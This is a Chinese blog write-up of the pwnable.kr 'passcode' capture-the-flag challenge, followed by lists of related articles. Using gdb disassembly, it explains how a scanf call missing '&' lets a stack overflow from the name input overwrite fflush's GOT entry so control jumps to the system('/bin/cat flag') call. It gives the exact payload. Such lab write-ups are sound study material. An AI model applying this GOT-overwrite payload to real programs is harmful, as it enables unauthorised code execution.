pwnable kr 之 passcode

pwnable.kr之passcode passcode          下载下来的源代码     从源代码分析看出来,在scanf的时候passcode1和passcode2没有加地址符号,因此会存在题目中所说的警告。   这道题木一共两个函数,welcome和Login,在welcome中输入了name字符串,然后在Login中输入了passcode1和passcode2,在passcode1=338150(0x5 阅读详情

http://pwnable.kr/playproc.php?no=18

首先,需要对got表的一个基础认识

这里对got表和plt表进行一个简单的介绍

https://blog.youkuaiyun.com/qq_18661257/article/details/54694748

用gdb运行一下程序

gdb ./passcode

#查看main函数的反汇编

(gdb) disass main

Dump of assembler code for function main:
   0x08048665 <+0>:	push   %ebp
   0x08048666 <+1>:	mov    %esp,%ebp
   0x08048668 <+3>:	and    $0xfffffff0,%esp
   0x0804866b <+6>:	sub    $0x10,%esp
   0x0804866e <+9>:	movl   $0x80487f0,(%esp)
   0x08048675 <+16>:	call   0x8048450 <puts@plt>
   0x0804867a <+21>:	call   0x8048609 <welcome> //welcome,login函数没有输入参数
   0x0804867f <+26>:	call   0x8048564 <login>  //两个函数的ebp位置没有变化
   0x08048684 <+31>:	movl   $0x8048818,(%esp)
   0x0804868b <+38>:	call   0x8048450 <puts@plt>
   0x08048690 <+43>:	mov    $0x0,%eax
   0x08048695 <+48>:	leave  
   0x08048696 <+49>:	ret    
End of assembler dump.

#查看 welcome ,login 函数

(gdb) disass welcome 
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt> 
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt> //输入用户名
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt> //打印用户名
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---r
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.


(gdb) disass login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx //正常scanf的第二个参数是lea xxx,xxx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)   //说明第二个参数少了&,为got表覆写提供了条件
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt> //输入passcode1
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt> //输入passcode2
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
---Type <return> to continue, or q <return> to quit---r
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp) //flag所在之处,记住这个指令地址0x080485e3
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.


我们选择覆写scanf passcode1 后面的第一个函数 fflush的got表

(gdb) x/16i 0x8048430
   0x8048430 <fflush@plt>:	jmp    *0x804a004 //0x804a004是fflush函数的got表位置
   0x8048436 <fflush@plt+6>:	push   $0x8
   0x804843b <fflush@plt+11>:	jmp    0x8048410
   0x8048440 <__stack_chk_fail@plt>:	jmp    *0x804a008
   0x8048446 <__stack_chk_fail@plt+6>:	push   $0x10
   0x804844b <__stack_chk_fail@plt+11>:	jmp    0x8048410
   0x8048450 <puts@plt>:	jmp    *0x804a00c
   0x8048456 <puts@plt+6>:	push   $0x18
   0x804845b <puts@plt+11>:	jmp    0x8048410
   0x8048460 <system@plt>:	jmp    *0x804a010
   0x8048466 <system@plt+6>:	push   $0x20
   0x804846b <system@plt+11>:	jmp    0x8048410
   0x8048470 <__gmon_start__@plt>:	jmp    *0x804a014
   0x8048476 <__gmon_start__@plt+6>:	push   $0x28
   0x804847b <__gmon_start__@plt+11>:	jmp    0x8048410
   0x8048480 <exit@plt>:	jmp    *0x804a018
(gdb) x/16s 0x8048783
0x8048783:	"%d" //是输入int值
0x8048786:	"enter passcode2 : "
0x8048799:	"checking..."
0x80487a5:	"Login OK!"
0x80487af:	"/bin/cat flag"
0x80487bd:	"Login Failed!"
0x80487cb:	"enter you name : "
0x80487dd:	"%100s"
0x80487e3:	"Welcome %s!\n"
0x80487f0:	"Toddler's Secure Login System 1.0 beta."
0x8048818:	"Now I can safely trust you that you have credential :)"
0x804884f:	""
0x8048850:	"\001\033\003;@"
0x8048856:	""
0x8048857:	""
0x8048858:	"\a"

这里我们就大致能够构造处我们的payload

'A'*0x(70-10) + '\x04\xa0\x04\x08' +  '134514147\n' // 134514147是由0x080485e3转换为int类型的值

填充96个A,然后将fflush的got表的地址将passcode1的值覆盖,scanf (”%d“,passcode1) 将sys函数开始地址0x080485e3

覆盖fflush的got表,当程序执行到fflush函数时,就会跳转到0x080485e3处也就是sys函数处。

 

UCIe物理层 —— 逻辑协议 (2) 本章开始主要介绍UCIe协议第四章,物理层逻辑定义和规范。如其他的通信协议一样,接口的物理层包含两个部分,逻辑子层和电气子层。其中逻辑层主要负责:1.定义接口信号和时序2. 定义发送端如何将上层数据分发到各个物理通道以及接收端如何把从各个通道收到的数据恢复成byte stream(Flit)。3. Broken Lane的repair和remap。4. 链路初始化,训练(training)和电源状态管理/切换。5. 扰码Scrambling和training sequence的产生。 阅读详情

相关推荐

四足机器人关节电机FOC控制实战:从磁编码器校准到SVPWM调试避坑指南

本文详细解析了四足机器人关节电机FOC控制实战,涵盖磁编码器校准、电流环调试和SVPWM波形优化等关键环节。通过MIT Cheetah案例展示如何解决21倍电气误差问题,并提供相序自动校正、PI参数整定等实用代码片段,帮助工程师避开永磁同步电机(PMSM)控制中的常见陷阱。

weixin_29281915的博客 489

5、passcode

passcode 一、前言: 做了几天的pwn题目,特别有感慨,感谢这个美好的时代,感谢各位大佬,每次看着你们的文章,复现题目的过程中,我都学到了很多的知识。 二、题目: 1、查看: 2、检查程序的防护: pwn或checksec 1 >>> from pwn import * 2 >>> check = ...

weixin_30496431的博客 543

AD服务器搭建

一、角色安装1)打开服务器管理器,添加 角色和功能;2) 点 下一步;3)点 下一步;4)点 下一步;5)点击安装;6-1)将此服务器提升为域控制器;6-2)点下一步;6)输入密码 点 下一步;7)自动生成LIXF,点击下一步;8)确认目录,点下一步;8)确认安装条件,点安装; 8)安装成功,点关闭;...

潇峰的博客 6450

PHP登录 验证码的实现

1. 新建code.php验证码生成文件 在此之前必须打开php的GD库,修改php.ini文件的配置,取消extension=php_gd2.dll前面的分号。代码如下:   session_start(); //生成验证码图片 Header("Content-type: image/PNG"); $im = imagecreate(44,18); $back =

dodott的专栏 2242

STM32入门教程:水位传感器应用

这是一个简单的STM32水位检测系统的入门教程。希望通过学习本教程,您能对STM32微控制器的基本应用有更深入的了解,并能成功构建一个水位检测系统。如果您需要更详细的代码实例和教程,请参考相关的STM32开发手册和应用笔记。STM32是一款功能丰富且广泛应用于嵌入式系统的微控制器系列。在本教程中,我们将介绍如何使用STM32微控制器和水位传感器构建一个水位检测系统。

wx_linying1029的博客 533

提示词工程在机器翻译质量提升中的应用

Introduction to Prompt Engineering in Machine Translation Quality Improvement Keywords

AI天才研究院 1151

一种PHP随机数生成

function generate_password( $length = 8 ) { // 密码字符集,可任意添加你需要的字符 $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'; $password = '';

sofia1217的专栏 410

智能生活中枢:基于 ESP32-S3 的桌面智能助手与日程提醒终端设计与实现

本文完成了基于 ESP32-S3 的桌面智能助手与日程提醒终端的完整设计,实现了时间同步、日程管理、声光提醒、环境监测、本地存储等核心功能。硬件接线简洁、软件逻辑清晰,可直接制作成品使用。硬件方案:以 ESP32-S3 为核心,搭配 OLED、DS3231、DHT11、按键、声光模块,接线标准化、易复刻;软件方案:基于 Arduino 开发,提供标准 Mermaid 软件流程图,代码模块化、可直接编译运行;核心功能:网络授时、本地日程管理、掉电存储、声光提醒、温湿度监测,满足桌面智能助手全场景需求。

weixin_42300449的博客 209

pwnable.kr passcode

题目来自pwnable.kr 里面的思路是通过学习别人的文章获得的,作为个人的学习记录一下 题目是这样的 passcode SSH连接一下 看看有什么文件 可以看到有三个文件,其中 flag 只对创建者 passcode_pwn 和 root 可读,而我们登录的用户是 passcode(从连接时的用户名或使用 whoami 命令可以得知),因此是没有权限读这个文件的。passcode 对有所有...

r250414958的博客 549

[SV]SystemVerilog学习笔记之struct & union

SystemVerilog学习笔记(四) 一、结构体(struct) 1.1、结构体(struct) 结构体声明:结构体默认是变量,也可以声明为线网 var struct{ //通过var进行结构体变量声明 logic [31:0] a, b; logic [ 7:0] opcode; } Instruction_Word_var; wire struct{ //结构体线网声明,定义为线网类型时,结构体的所有成员必须...

元直的博客 1万+

Dify智能体开发:发布嵌入网站

Dify 支持将你的 AI 应用嵌入到业务网站中,你可以使用该能力在几分钟内制作具有业务数据的官网 AI 客服、业务知识问答等应用。点击 WebApp 卡片上的嵌入按钮,复制嵌入代码,粘贴到你网站的目标位置。

王国平的博客 3244

pwnable.kr解题——flag、passcode

pwnable.kr —— flag 送分题 下载文件,查看一下,是ELF文件并且有UPX壳。这个壳只是个压缩壳,不是难事,脱壳。之后用IDA打开看一下,加载完之后主函数就是整个逻辑,malloc()一个空间,然后使用strcpy复制。数据的来源也很清晰,来自CS段的flag变量。直接进入到cs:flag的位置复制出来目标字符串提交即可。 pwnable.kr —— passcode 题目...

shutdown -s -t 602

超大规模系统(千万级用户)中实现字段级权限控制

摘要:本文提出了一套分布式架构下的字段级权限优化方案,结合RBAC+ABAC混合模型与技术手段实现性能与安全的平衡。方案包括:1)权限模型优化,采用RBAC预计算基础权限与ABAC动态校验敏感字段;2)数据层优化,实现动态字段过滤与加密存储;3)多级缓存策略与预计算机制提升性能;4)分布式架构设计,通过网关校验和策略引擎集群保证扩展性。最终在千万级用户系统中实现99.9%可用性,权限校验延迟控制在50ms以内。

从技术实践立足,从项目管理方法论延伸思考 1348

【pwnable.kr】day5:passcode

pwnable:passcode pwnable.kr:passcode 题目链接 question Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who...

weixin_38312031的博客 334

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

pwnable.kr——passcode

⑩:综上,我们的思路是将 got 表中 printf 函数的地址(即0x0804A000)中存的值修改为 system("/bin/cat flag");的地址(0x080485E3)即可,随后程序执行到 printf 函数就相当于执行system("/bin/cat flag");函数,但已知我们只能控passcode1不能控passcode2,所以这题不能依靠修改passcode1,passcode2使程序正常执行来执行 system("/bin/cat flag");⑦:查找偏移,可知偏移为96。

xy_369的博客 269

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

[pwnable.kr]passcode

->plt[1]第一条指令jmp *got[3] --> plt[1]第二条指令压栈 --> plt[1]第三条指令jmp plt[0] --> plt[0]第一条指令再压栈 --> plt[0]第二条指令jmp *got[2] --> 进入动态链接函数 --> 回写got表&调用目标函数。got[3],即804a000处实际存的值是8048426,即plt[1]中第二条指令的位置,除了plt[0]和got[0]、got[1]、got[2]有特殊作用外,

iekuil的博客 393

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

【pwnable.kr】 passcode

https://r00tnb.github.io/2017/12/10/pwnable.kr-passcode/ 分析 首先读源码passcode.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ...

子曰小玖的博客 485

pwnable.kr-passcode

做了好长时间的passcode终于写出来了。我真的是......太弱了。 不过这题也是收获最大的一题了。 首先看看题目。      打开passcode.c看看里面有什么   #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; void login(){ int passcode1; int passcode2; ...

weixin_43464124的博客 308

passcode_WriteUp(pwnable.kr_passcode)scanf函数不加"&"带来的危险

passcode_WriteUp(pwnable.kr_passcode)scanf函数不加”&amp;”带来的危险 题目传送门:http://pwnable.kr/play.php #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; void login(){ int passcode1; int passcode2; ...

Hvnt3r的博客 379

【pwnable.kr】passcode

题目描述 Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2...

搓雪小怪兽的工作室 412

pwnable.kr - passcode

pwnable.kr passcode

ACdream 657

pwnable.kr-passcode WP

首先用ssh连进去,一个可执行文件,一个源码文件,一个flag文件,先执行passcode程序,让你输入name,passcode1,passcode2,如图。 我们先用scp命令把文件拷贝下来,scp -P2222 passcode@pwnable.kr:passcode . ,注意后面有一个点,表示拷贝到当前目录的意思。然后看一下源码 #include <stdio.h> #in...

Casuall的博客 619

pwnable.kr第五题:passcode

0x000打开环境 ①查看源码: 1 #include 2 #include 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 printf("enter passcode1 : "); 9 scanf("%d"...

303
上一篇: ML函数式程序设计 之 单体证明
下一篇: DH密钥交换
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值